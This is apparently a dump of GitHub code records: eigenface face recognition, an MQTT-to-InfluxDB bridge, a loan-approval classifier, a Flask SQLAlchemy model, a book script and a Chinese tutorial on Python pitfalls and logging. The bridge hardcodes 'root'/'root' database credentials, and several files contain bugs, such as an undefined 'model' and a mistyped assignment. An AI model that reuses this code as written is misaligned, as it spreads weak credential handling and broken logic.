run_seed=args.runseed)\n","repo_name":"PavanaNarasanna/Mywallet-server","sub_path":"init_db.py","file_name":"init_db.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"14488965607","text":"import cv2\nimport numpy as np\nimport math\n\ndef main():\n trainingImagesPath = [\n \".\\dataset\\Training\\subject01.happy.jpg\",\n \".\\dataset\\Training\\subject02.normal.jpg\",\n \".\\dataset\\Training\\subject03.normal.jpg\",\n \".\\dataset\\Training\\subject07.centerlight.jpg\",\n \".\\dataset\\Training\\subject10.normal.jpg\",\n \".\\dataset\\Training\\subject11.normal.jpg\",\n \".\\dataset\\Training\\subject14.normal.jpg\",\n \".\\dataset\\Training\\subject15.normal.jpg\",\n ]\n testingImagesPath = [\n \".\\dataset\\Testing\\subject01.normal.jpg\",\n \".\\dataset\\Testing\\subject07.happy.jpg\",\n \".\\dataset\\Testing\\subject07.normal.jpg\",\n \".\\dataset\\Testing\\subject11.happy.jpg\",\n \".\\dataset\\Testing\\subject14.happy.jpg\",\n \".\\dataset\\Testing\\subject14.sad.jpg\",\n ]\n imageRow = 231\n imageColumn = 195\n\n # For each training image, stack the row together to form a column vector R\n columnVectors = get_column_vector_set(trainingImagesPath)\n # The mean face is computed by taking the average of the training face images\n meanFace = np.mean(columnVectors, axis=0)\n show_save_mean_face(meanFace, imageRow, imageColumn)\n # We subtract the mean face from each training face and put them into a single matrix A\n A = get_normalized_column_vector_set(columnVectors, meanFace)\n # We find eigenvalues of L = A transpose x A\n L = np.matmul((A.T), A)\n # Put eigenvectors of L into a single matrix V\n _, V = np.linalg.eig(L)\n # The M largest eigenvectors of C can be found by U = AV\n U = np.matmul(A,V)\n # Display and save eigenface\n show_save_eigenface(U.T, imageRow, imageColumn)\n # For each training faces, calculate its eigenface coefficients\n trainingCoefficients = np.zeros(shape=(len(trainingImagesPath),len(trainingImagesPath)))\n for i in range(len(trainingImagesPath)):\n trainingCoefficients[i]=np.matmul(U.T,A[:,i])\n print(\"The Eigenface coefficients of the training images:\")\n print(trainingCoefficients)\n print()\n\n # ----------------------------------- Face recognition -----------------------------------\n\n # Calculate the eigenface coefficient of each testing image\n testingColumnVectors = get_column_vector_set(testingImagesPath)\n testingNormalizedColumnVectors = get_normalized_column_vector_set(testingColumnVectors, meanFace)\n testingCoefficients = np.zeros(shape=(len(testingImagesPath),len(trainingImagesPath)))\n for i in range(len(testingImagesPath)):\n omega = np.matmul(U.T, testingNormalizedColumnVectors[:,i])\n testingCoefficients[i]=omega\n print(\"The Eigenface coefficients of the testing images:\")\n print(testingCoefficients)\n print()\n\n # Calculate and print recognition result for each test image\n for i in range(len(testingCoefficients)):\n matchIndex = get_match_face(testingCoefficients[i], trainingCoefficients)\n print(testingImagesPath[i][18:] + \" is match to \" + trainingImagesPath[matchIndex][19:])\n\n\ndef get_column_vector_set(trainingImagesPath):\n #flat out images to columnvectors\n column_vector_set = 0\n for i in range(len(trainingImagesPath)):\n # read image in grayscale mode\n image = cv2.imread(trainingImagesPath[i], 0)\n image = image.reshape(1,45045)\n if i == 0:\n column_vector_set = image\n else:\n column_vector_set = np.append(column_vector_set,image,axis=0)\n return column_vector_set\n\n\ndef get_normalized_column_vector_set(columnVectors, meanFace):\n # normalize column vectors by subtracting the average face from them\n normalize_cv = np.ndarray(shape=(len(columnVectors),45045))\n for i in range(len(columnVectors)):\n normalize_cv[i] = columnVectors[i] - meanFace\n return normalize_cv.T\n\n\ndef get_euclidean_distance(a, b):\n # calculate euclidean distance between two vectors\n dist = 0\n for i in range(len(a)):\n dist += (a[i] - b[i])**2\n return math.sqrt(dist)\n\n\ndef get_match_face(input, dataset):\n # find the face in dataset with minimal euclidean distance from the input\n matchIndex = 0\n minDistance = float('inf')\n for i in range(len(dataset)):\n curDistance = get_euclidean_distance(input,dataset[i].reshape(8,1))\n if(curDistance < minDistance):\n minDistance = curDistance\n matchIndex = i\n return matchIndex\n\n\ndef show_image(image, name = \"image\"):\n # open the image in a new window\n # press 0 key to close images\n cv2.imshow(name, image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\ndef show_save_mean_face(meanFace, imageRow, imageColumn):\n # the dimension of meanFace is N^2 x 1\n print(\"Displaying mean face\")\n print(\"Press 0 to close the image\")\n print()\n image = np.uint8(np.reshape(meanFace, (imageRow, imageColumn)))\n cv2.imwrite(\"mean face.bmp\",image)\n show_image(image)\n\n\ndef show_save_eigenface(UT, imageRow, imageColumn):\n i = 1\n for eigenface in UT:\n print(\"Displaying eigenface \", i)\n print(\"Press 0 to close the images\")\n print()\n image = np.uint8(np.reshape(eigenface, (imageRow, imageColumn)))\n cv2.imwrite(\"egienface\"+str(i)+\".bmp\",image)\n i += 1\n show_image(image)\n\n\nmain()","repo_name":"SolidifiedRay/Face-Recognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70995924356","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 22 22:49:17 2017\n\n@author: Ramon\n\"\"\"\n\nimport paho.mqtt.client as mqtt\nfrom influxdb import InfluxDBClient\n#from datetime import datetime\nimport logging\nimport logging.handlers\nimport sys\n\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(MQTTclient, userdata, flags, rc):\n\tlog.debug(\"Connected with result code %s\", str(rc))\n\t# Subscribing in on_connect() means that if we lose the connection and\n\t# reconnect then subscriptions will be renewed.\n\tMQTTclient.subscribe(\"home/#\")\n\n# The callback for when a PUBLISH message is received from the server.\ndef on_message(MQTTclient, userdata, msg):\n\t#print(str(datetime.now()) + \" - \" + msg.topic+\" \"+str(msg.payload))\n\t\n\tline = ['measurement,type=' + msg.topic.split('/')[2] + ',location=' + msg.topic.split('/')[1] + ' value=' + str(float(msg.payload))]\n\n\ttry:\n\t\tlog.info(\"New input: type: %s, location: %s, value: %s\", msg.topic.split('/')[2], msg.topic.split('/')[1], str(float(msg.payload)))\n\t\tifClient.write_points(line, database='openhab', protocol='line')\n\texcept :\n\t\tlog.exception(\"Error sending data to InfluxDB: %s\", sys.exc_info()[1])\n\t\t#print(str(datetime.now()), \" - Error sending data to InfluxDB\")\n\n\n#line = [msg.topic.split('/')[2] + \"_test \" + float(msg.payload)]\n\nurlRaspi_local = \"localhost\"\nurlRaspi_remot = \"http://elponipisador.no-ip.org\"\ndevSerialPort = '/dev/serial0'\n\n#LOGGER setup\nlog = logging.getLogger('__name__')\nlog.setLevel(logging.DEBUG)\nlogHdlr = logging.handlers.SysLogHandler('/dev/log')\nlogFormat = logging.Formatter('MQTT-Influx: %(levelname)s - %(message)s')\nlogHdlr.setFormatter(logFormat)\nlog.addHandler(logHdlr)\n\n#MQTT\nMQTTclient = mqtt.Client()\nMQTTclient.on_connect = on_connect\nMQTTclient.on_message = on_message\n\nMQTTclient.connect(urlRaspi_local, 1883, 60)\n\n\n#INFLUX\nifClient = InfluxDBClient(host=urlRaspi_local, port=8086, username='root', password='root', database='openhab')\n#print(ifClient.get_list_database())\nifClient.switch_database('openhab')\n\n# Blocking call that processes network traffic, dispatches callbacks and\n# handles reconnecting.\n# Other loop*() functions are available that give a threaded interface and a\n# manual interface.\nMQTTclient.loop_forever()","repo_name":"jmFernandezMola/ESPSensors","sub_path":"pyMQTT_Influx.py","file_name":"pyMQTT_Influx.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8005898887","text":"import pandas as pds\n\nacc = pds.read_csv(\"/content/ACCOUNTS.csv\")\ndem = pds.read_csv(\"/content/DEMOGRAPHICS.csv\")\nloa = pds.read_csv(\"/content/LOANS.csv\")\n\n# acc\n\ns1 = pds.merge(acc, dem, on = \"ID\", how = 'outer')\nfull = pds.merge(s1, loa, on = \"ID\", how = 'outer')\n\n# full\n\nimport numpy as np\n\n#full['SEX'] = pds.Series(full['SEX']).str.replace(\"F\", \"1\")\n#full['SEX'] = pds.Series(full['SEX']).str.replace(\"M\", \"0\").astype(float)\n#full['SEX']\n\n\nfull['CHECKING_BALANCE'] = pds.to_numeric(full['CHECKING_BALANCE'], errors='coerce')\nfull['EXISTING_SAVINGS'] = pds.to_numeric(full['EXISTING_SAVINGS'], errors='coerce')\n\nmediana = ['AGE', 'PAYMENT_TERM', 'INSTALLMENT_PERCENT']\nadicional = [\n 'CHECKING_BALANCE'\n , 'EXISTING_SAVINGS'\n , 'EXISTING_CREDITS_COUNT'\n , 'JOB_TYPE'\n , 'DEPENDENTS'\n , 'TELEPHONE'\n , 'FOREING_WORKER'\n , 'EMPLOYMENT_DURATION'\n , 'CURRENT_RESIDENCE_DURATION'\n , 'CREDIT_HISTORY'\n , 'PROPERTY'\n , 'INSTALLMENT_PLANS'\n , 'OTHERS_ON_LOAN'\n]\nx_drop = ['SEX', 'LOAN_AMOUNT', 'LOAN_PURPOSE']\ny = ['ALLOW']\n\nfull.fillna(\n value = {\n 'CHECKING_BALANCE': 0\n , 'EXISTING_SAVINGS': 0\n , 'EXISTING_CREDITS_COUNT': 0\n , 'JOB_TYPE': 0 #####\n , 'DEPENDENTS': 0\n , 'TELEPHONE': 0\n , 'FOREING_WORKER': \"0\" \n , 'EMPLOYMENT_DURATION': 0 \n , 'CURRENT_RESIDENCE_DURATION': 0 \n , 'CREDIT_HISTORY': 'NO_CREDITS'\n , 'PROPERTY': 'UNKNOWN'\n , 'HOUSING': 'FREE'\n , 'INSTALLMENT_PLANS': 'NONE'\n , 'OTHERS_ON_LOAN': 'NONE'\n }\n , inplace = True\n)\nfull[mediana] = full[mediana].fillna(full[mediana].median())\nfull['FOREIGN_WORKER'].fillna(0, inplace = True)\n\nfull.isnull().sum()\n\nfull = full.dropna()\nfull\n\nfull.isna().sum()\n\nfeatures = [\n \"CHECKING_BALANCE\", # Saldo que posee el cliente en su cuenta corriente\n \"PAYMENT_TERM\", # Cantidad de días que el cvliente posee para pagar el préstamo\n \"CREDIT_HISTORY\", # Situación crediticia pasada del cliente\n \"LOAN_PURPOSE\", # Motivo del préstamo\n \"LOAN_AMOUNT\", # Monto del préstamo\n \"EXISTING_SAVINGS\", # Saldo de cuenta de ahorros\n \"EMPLOYMENT_DURATION\", # Cuántos años ha permanecido el cliente en su empleo\n \"INSTALLMENT_PERCENT\", # Cantidad de cuotas en las que el préstamo debe ser pagado\n \"SEX\", # Sexo del cliente\n \"OTHERS_ON_LOAN\", # Denota la existencia de un garante u otro solicitante del préstamo\n \"CURRENT_RESIDENCE_DURATION\", # Años que el cliente ha permanecido en su última residencia\n \"PROPERTY\", # Indica si el cliente posee alguna propiedad a su nombre\n \"AGE\", # Edad del cliente\n \"INSTALLMENT_PLANS\", # Plan de financiamiento, que puede ser del banco, externo o ninguno\n \"HOUSING\", # Indica si el cliente posee una casa propia\n \"EXISTING_CREDITS_COUNT\", # Número de préstamos que le han sido concedidos al cliente en el pasado\n \"JOB_TYPE\", # Tipo de empleo: 0 - desempleado, 1 - no calificado, 2 - autónomo, 3 - calificado\n \"DEPENDENTS\", # Número de personas con acceso a la cuenta\n \"TELEPHONE\", # Denota si el cliente tiene un número de teléfono registrado\n \"FOREIGN_WORKER\" # Denota si el cliente trabaja en un país fuera del banco\n]\ntarget = ['ALLOW']\n\nx = pds.get_dummies(full[features])\ny = full[target]\n\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.tree import DecisionTreeClassifier \nfrom sklearn.naive_bayes import GaussianNB \nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, f1_score\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.45, random_state = 23)\n\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nx_train = scaler.fit_transform(x_train)\nx_test = scaler.transform(x_test)\n\n\ntr_model = DecisionTreeClassifier(max_depth=2)\ntr_model.fit(x_train, y_train)\n\ny_pred = tr_model.predict(x_test)\n\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nrf_model = RandomForestClassifier(n_estimators = 100, max_depth = 30, random_state = 3)\nrf_model.fit(x_train, y_train)\n\ny_pred = rf_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nrf_model1 = RandomForestClassifier(n_estimators = 500, max_leaf_nodes = 16, max_depth = 30, n_jobs = -1, random_state = 3)\nrf_model1.fit(x_train, y_train)\n\ny_pred = rf_model1.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\ngbc_model = GradientBoostingClassifier()\ngbc_model.fit(x_train, y_train)\ny_pred = gbc_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\ngbc_model_t = GradientBoostingClassifier(n_estimators=40, random_state=23)\ngbc_model_t.fit(x_train, y_train)\ny_pred = gbc_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\n\nnb_model = GaussianNB()\nnb_model.fit(x_train, y_train)\ny_pred = nb_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nlg_model = LogisticRegression()\nlg_model.fit(x_train, y_train)\ny_pred = lg_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nsvm_model = SVC(probability=True)\nsvm_model.fit(x_train, y_train)\ny_pred = svm_model.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nsgd_model = SGDClassifier(random_state=3)\nsgd_model.fit(x_train, y_train)\ny_pred = sgd_model.predict(x_test)\n\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nfrom sklearn.ensemble import BaggingClassifier\nbag_clf = BaggingClassifier(\n DecisionTreeClassifier(), n_estimators = 500,\n max_samples = 100, bootstrap = True, n_jobs = -1\n)\nbag_clf.fit(x_train, y_train)\ny_pred = bag_clf.predict(x_test)\nf11 = accuracy_score(y_test, y_pred)\nf12 = f1_score(y_test, y_pred)\n\nprint(\"acc: {0}\\nf1: {1}\".format(f11, f12))\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.pipeline import Pipeline\n# Un transformador para remover columnas indeseadas\nclass DropColumns(BaseEstimator, TransformerMixin):\n def __init__(self, columns):\n self.columns = columns\n\n def fit(self, x, y=None):\n return self\n\n def transform(self, x):\n # Primero realizamos la cópia del DataFrame 'X' de entrada\n data = x.copy()\n # Retornamos um nuevo dataframe sin las colunmas indeseadas\n return data.drop(labels=self.columns, axis='columns')\n\nchallenge_columns = ['ID', 'CHECKING_BALANCE', 'PAYMENT_TERM', 'CREDIT_HISTORY',\n 'LOAN_PURPOSE', 'LOAN_AMOUNT', 'EXISTING_SAVINGS',\n 'EMPLOYMENT_DURATION', 'INSTALLMENT_PERCENT', 'SEX', 'OTHERS_ON_LOAN',\n 'CURRENT_RESIDENCE_DURATION', 'PROPERTY', 'AGE', 'INSTALLMENT_PLANS',\n 'HOUSING', 'EXISTING_CREDITS_COUNT', 'JOB_TYPE', 'DEPENDENTS',\n 'TELEPHONE', 'FOREIGN_WORKER', 'ALLOW']\n\nunwanted_columns = list((set(challenge_columns) - set(target)) - set(features)) # Remover todas las colunmas que no son features do nuestro modelo\n\ndrop_columns = DropColumns(unwanted_columns)\n\n\n# Creando un Pipeline, adicionando nuestro transformador seguido de un modelo de árbol de decisión\nskl_pipeline = Pipeline(steps=[('drop_columns', drop_columns), ('classification', model)])\n\nskl_pipeline\n","repo_name":"TJhon/summary","sub_path":"interview-competitions/Marathona2021/d1/mrth_d1.py","file_name":"mrth_d1.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14073860943","text":"from server import db\n\nclass articleModels(db.Model):\n __tablename__ = 'brand_href'\n article_id = db.Column(db.Integer, primary_key=True)\n country = db.Column(db.String(4))\n brand = db.Column(db.String(4))\n href = db.Column(db.String(40))\n todbtime = db.Column(db.DateTime)\n articletype = db.Column(db.Boolean)\n\n def __init__(self, article_id, country, brand, href, todbtime, articletype):\n self.article_id = article_id\n self.country = country\n self.brand = brand\n self. href = href\n self.todbtime, =todbtime\n self.articletype = articletype\n \n def serizlize(self):\n return {\n \"article_id\" : self.article_id,\n \"country\" : self.country,\n \"brand\" : self.brand,\n \"href\" : self.href,\n \"todbtime\": self.todbtime,\n \"articletype\": self.articletype,\n }\n\n\"\"\"\n這邊設定完成後,要去user.py做引入\n\"\"\"","repo_name":"happyDaynan/car_article_RESTful_API","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38755544439","text":"\r\n\r\n\r\n\r\n\r\n\r\ndef add_book():\r\n bood_detail= input()\r\n author, title, publisher, publicationdate=bood_detail.split(',')\r\n book = {\r\n 'author':author,\r\n 'title':title,\r\n 'publisher':publisher,\r\n 'publicationdate':publicationdate\r\n \r\n\r\n }\r\n books.append(book)\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef search_book(books, term):\r\n for book in books:\r\n \r\n if term in book.values():\r\n print(book)\r\n return True\r\n return False\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\nif __name__ ==\"__main__\":\r\n \r\n books=[]\r\n x=True\r\n while x==True:\r\n addorsearch=input(\"add books search or close \")\r\n if addorsearch ==\"add\":\r\n add_book()\r\n \r\n elif addorsearch==\"search\":\r\n term=input(\"\")\r\n search_book(books,term)\r\n else:\r\n x=False","repo_name":"adriaan2/https---github.com-adriaan2-hbo-python-tree-patch3","sub_path":"addbook.py","file_name":"addbook.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20211754998","text":"# _*_ coding: utf-8 _*_\n\"\"\"\n # @Time : 2020/8/14 15:33 \n # @Author : yls \n # @Version:V 0.1\n # @File : k_logging_pit_point.py\n # @desc : python 常见的10个坑点合集和logging日志管理模块的使用总结。\n 一:10个坑点合集:\n 1、列表和 * 操作:\n 原来 * 操作复制出的 a[0]、a[1]、...、a[5],在内存中标识符是相等的,实现的仅仅是浅复制。\n 不使用 *,使用列表生成式,复制出 5 个不同 id 的内嵌列表,这样就能避免赋值互不干扰的问题。\n\n 2、列表内元素可重复出现,讨论如何删除列表中的某个元素:\n 遍历 lst、remove 一次,移掉位置 i 后的所有元素索引都要减一。\n 一旦删除的元素,重复出现在列表中,就总会漏掉一个该删除的元素。\n\n 3、Python 函数的参数可设为默认值,如果一个默认参数类型为list,默认值为设置为[]\n 为了避免这个隐藏的坑,函数的默认参数值切记不能设置为 [],而是为 None。这样即便按照默认值调用多次,也会规避此风险。\n\n 4、{} 和 ():\n 初始创建的元组对象,若只有一个元素,只用一对括号是不够的,下面 single 对象不会被解释为元组,而是 float 型。\n 还有创建集合与字典,它们都用一对 {},但是默认返回字典,而不是集合。\n 要想创建空集合,可使用内置函数 set()。\n\n 5、解包:Python 中,支持多值赋值给多变量的操作。最常见的用法,一行代码交换两个变量。\n 记住一点:多值赋值是先计算出等号右侧的所有变量值后,再赋值给等号左侧变量。\n 这种多值赋值,是一种解包(unpack)操作。\n 既然是解包,那么就得先有打包。的确,等号右侧的多个变量,会被打包(pack)为一个可迭代对象。\n 赋值操作,就相当于解包。\n 更为简洁、紧凑的做法:等号左侧定义两个我们想��的变量,其他不想要的项放到 others 变量中,并在前加一个 *,如下所示:\n sid, name, *others = [1,'xiaoming','address','telephone',['','','...']]\n\n 6、访问控制:\n a、Python 是一门动态语言,支持属性的动态添加和删除。\n 而 Python 面向对象编程(OOP)中,提供很多双划线开头和结尾的函数,\n 它们是系统内置方法,被称为魔法方法。\n 如 __getattr__ 和 __setattr__ 是关于控制属性访问的方法。\n b、重写 __getattr__ 方法,会定义不存在属性时的行为。如下,访问类不存在属性时,程序默认会抛出 AttributeError 异常。\n c、只要涉及属性赋值,赋值前都会调用 __setattr__ 方法:\n 但是,使用它很容易掉进一个坑,__setattr__ 里再次涉及属性赋值,这样会无限递归下去。\n 为保险起见,不要在 __setattr__ 方法中再做属性赋值。\n\n 7、中括号访问:\n 某个对象具有 [index],返回某个元素值。那么,它们是怎么实现这种中括号索引的呢?只要重写魔法方法 __getitem__,就能实现 [index] 功能。\n 类 Table 是一个最精简的具备中括号索引的类。构造函数 __init__ 传入一个字典,__getitem__ 返回字典键为 column_name 的字典值。\n\n 8、鸭子类型:\n Python 是动态语言,对函数参数的类型要求很宽松,函数体内使用此类型的方法或属性时,\n 只要满足有它们就行,不强制要求必须为这个类或子类。\n 但是,对静态类型语言,如 Java,参数类型就必须为此类型或子类。\n\n 9、元类:\n 元类,会被 Pythoner 经常提起,元类确实也有一些使用场合。但是,它又是很高深的、偏底层的抽象类型。\n Python 界的领袖 Tim Peters 说过:“元类就是深度的魔法,99% 的用户应该根本不必为此操心。”\n Python 中,将描述 Student 类的类被称为:元类\n\n 10、对象序列化:\n 对象序列化,是指将内存中的对象转化为可存储或传输的过程。很多场景,直接一个类对象,传输不方便。\n 但是,当对象序列化后,就会更加方便,因为约定俗成的,接口间的调用或者发起的 Web 请求,一般使用 JSON 串传输。\n\n 二:logging日志管理模块:\n 日志写入不是我们想象的这般简单。如果一直向同一个文件里写,文件就会变得很大很大;也不方便分析。\n 更糟糕的是,文件越来越大,当大小等于磁盘容量时,后面的日志信息就无法再写入。当然,还有更多问题会出现。\n Python 中,也有一个模块 logging,也能做到高效的日志管理。\n 例如,logging 模块,能按照指定周期切分日志文件。这一切的规则,都是为了实现对日志的高效管理。\n 这些需求背后,对应着一套解决方案,也就是 logging 库,和它的四大组件:记录器、处理器、过滤器和格式化器。\n\n \"\"\"\nimport json\nimport logging\nfrom logging import handlers\n\n\ndef list_more():\n \"\"\"\n 列表和 * 操作:\n 原来 * 操作复制出的 a[0]、a[1]、...、a[5],在内存中标识符是相等的,实现的仅仅是浅复制。\n 不使用 *,使用列表生成式,复制出 5 个不同 id 的内嵌列表,这样就能避免赋值互不干扰的问题。\n \"\"\"\n print(['|'] * 10)\n print([[]] * 5)\n a = []\n a = [[]] * 5\n a[0].extend([1, 3, 5])\n a[1].extend([2, 4, 6])\n print(a)\n\n b = [[] for _ in range(5)]\n b[0].extend([1, 3, 5])\n b[1].extend([2, 4, 6])\n print(b)\n\n\ndef list_del(lst, e):\n \"\"\"\n 列表内元素可重复出现,讨论如何删除列表中的某个元素:\n 遍历 lst、remove 一次,移掉位置 i 后的所有元素索引都要减一。\n 一旦删除的元素,重复出现在列表中,就总会漏掉一个该删除的元素。\n \"\"\"\n i = 0\n while i < len(lst):\n if lst[i] == e:\n lst.remove(lst[i])\n else:\n i += 1\n return lst\n\n\n# def delta_val(val, volume=[]):\ndef delta_val(val, volume=None):\n \"\"\"\n Python 函数的参数可设为默认值,如果一个默认参数类型为list,默认值为设置为[]\n\n 为了避免这个隐藏的坑,函数的默认参数值切记不能设置为 [],而是为 None。这样即便按照默认值调用多次,也会规避此风险。\n Args:\n val: 参数\n volume: 默认为空的参数\n \"\"\"\n print(id(volume))\n if volume is None:\n volume = []\n size = len(volume)\n for i in range(size):\n volume[i] = i + val\n return volume\n\n\ndef dict_tuple():\n point = (1.0, 3.0)\n # 初始创建的元组对象,若只有一个元素,只用一对括号是不够的,\n # 下面 single 对象不会被解释为元组,而是 float 型。\n single = (1.0)\n print(type(single))\n # 要想被解释为元组,在后面必须要加一个逗号:\n single = (1.0,)\n print(type(single))\n\n\ndef fix_points(pts):\n for i in range(len(pts)):\n t = pts[i]\n if isinstance(t, tuple):\n t = t if len(t) == 2 else (t[0], 0.0)\n pts[i] = t\n else:\n raise TypeError('pts 的元素类型要求为元组')\n return pts\n\n\ndef set_dict():\n \"\"\"\n 还有创建集合与字典,它们都用一对 {},但是默认返回字典,而不是集合。\n 要想创建空集合,可使用内置函数 set()。\n \"\"\"\n d = {}\n print(type(d))\n\n s = set()\n print(type(s))\n\n\ndef unpack():\n \"\"\"\n 支持多值赋值给多变量的操作:\n 多值赋值是先计算出等号右侧的所有变量值后,再赋值给等号左侧变量。\n 这种多值赋值,是一种解包(unpack)操作。\n 既然是解包,那么就得先有打包。的确,等号右侧的多个变量,会被打包(pack)为一个可迭代对象。\n 赋值操作,就相当于解包。\n \"\"\"\n a, b = 1, 2\n a, b = b + 1, a + b\n print(a, b)\n\n def foo():\n result = [1, 'xiaoming', 'address', 'telephone', ['', '', '...']]\n return result\n\n sid, name, *others = foo()\n print(sid)\n print(name)\n print(others)\n\n\nclass Student():\n def __init__(self, idt, name):\n self.idt = idt;\n self.name = name\n\n def __getattr__(self, prop_name):\n print('property %s not existed, would be set to None automatically' %\n (prop_name,))\n self.prop_name = None\n\n def __setattr__(self, prop_name, val):\n print('%s would be set to %s' % (prop_name, str(val)))\n\n\nclass Table(object):\n def __init__(self, dt: dict):\n self.dt = dt\n\n def __getitem__(self, item):\n return self.dt[item]\n\n\nclass Plane():\n def run(self):\n return 'plane is flying...'\n\n\nclass Clock():\n def run(self):\n return 'clock is flying...'\n\n\ndef using_rnn(duck):\n print(duck.run())\n\n\nclass Stu():\n def __init__(self, **args):\n self.ids = args['ids']\n self.name = args['name']\n self.address = args['address']\n\n\nclass Logger(object):\n \"\"\"\n 一个基本的日志类,同时将日志显示在控制台和写入文件中,同时按照天为周期切分日志文件。\n \"\"\"\n kv = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'crit': logging.CRITICAL\n }\n\n def __init__(self, filename, level='info', when='D', backCount=3,\n fmt='%(asctime)s-%(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s'):\n self.logger = logging.getLogger(filename)\n format_str = logging.Formatter(fmt) # 设置日志格式\n self.logger.setLevel(self.kv.get(level)) # 设置日志级别\n sh = logging.StreamHandler() # 往屏幕上输出\n sh.setFormatter(format_str) # 设置屏幕上显示的格式\n th = handlers.TimedRotatingFileHandler(\n filename=filename, when=when, backupCount=backCount, encoding='utf-8')\n th.setFormatter(format_str) # 设置文件里写入的格式\n self.logger.addHandler(sh) # 把对象加到 logger 里\n self.logger.addHandler(th)\n\n\n# 创建 log 对象,日志级别为 debug 及以上的写入日志文件:\nlog = Logger('files/all.log', level='debug').logger\n\n\nclass NewStudent:\n def __init__(self, id, name):\n self.id = id\n self.name = name\n log.info('学生 id: %s, name: %s' % (str(id), str(name)))\n\n @property\n def score(self):\n return self.__score\n\n @score.setter\n def score(self, score):\n if isinstance(score, int):\n self.__score = score\n log.info('%s得分:%d' % (self.name, self.score))\n else:\n log.error('学生分数类型为 %s,不是整型' % (str(type(score))))\n raise TypeError('学生分数类型为 %s,不是整型' % (str(type(score))))\n\n\nif __name__ == '__main__':\n # list和 * 操作\n # list_more()\n\n # list删除元素\n # reult = list_del([1, 2, 4, 53, 2, 2, 23, 2, 523, 5], 2)\n # print(reult)\n\n # 函数的默认参数为空\n # result = delta_val(10)\n # print(result)\n # result.append(1)\n # result.append(2)\n # print(result)\n # result = delta_val(10)\n # print(result)\n\n # {} 和 ()\n # dict_tuple()\n # 下面这行调用会报错:TypeError: pts 的元素类型要求为元组\n # fix_points([(1.0,3.0),(2.0),(5.0,4.0)])\n # result = fix_points([(1.0, 3.0), (2.0,), (5.0, 4.0)])\n # print(result)\n\n # 集合和字典\n # set_dict()\n\n # 解包\n # unpack()\n\n # 访问控制\n # xiaoming = Student(1, 'xiaoming')\n # print(xiaoming.address) # 读取\n # xiaoming.address = 'beijing'\n # print(xiaoming.address)\n\n # 中括号访问\n # t = Table({'ids':list(range(5)),'name':'li zhang liu guo song'.split()})\n # print(t['name'])\n # print(t['ids'])\n\n # 鸭子类型\n # Plane 对象和 Clock 对象,因都有 run 方法,Python 认为它们看起来就是 duck 类型,\n # 因此,Plane 对象和 Clock 对象就被看作 duck 类型。\n # using_rnn(Plane())\n # using_rnn(Clock())\n\n # 对象序列化\n # xiaoming = Stu(ids=1, name='xiaoming', address='北京')\n # xiaohong = Stu(ids=2, name='xiaohong', address='南京')\n # with open('files/json.txt', 'w', encoding='utf-8') as f:\n # json.dump([xiaoming, xiaohong], f, default=lambda obj: obj.__dict__, ensure_ascii=False, indent=2,\n # sort_keys=True)\n\n # xiaoming = NewStudent(10010, 'xiaoming')\n # xiaoming.score = 88\n # xiaohong = NewStudent('001', 'xiaohong')\n # xiaohong.score = 90.6\n 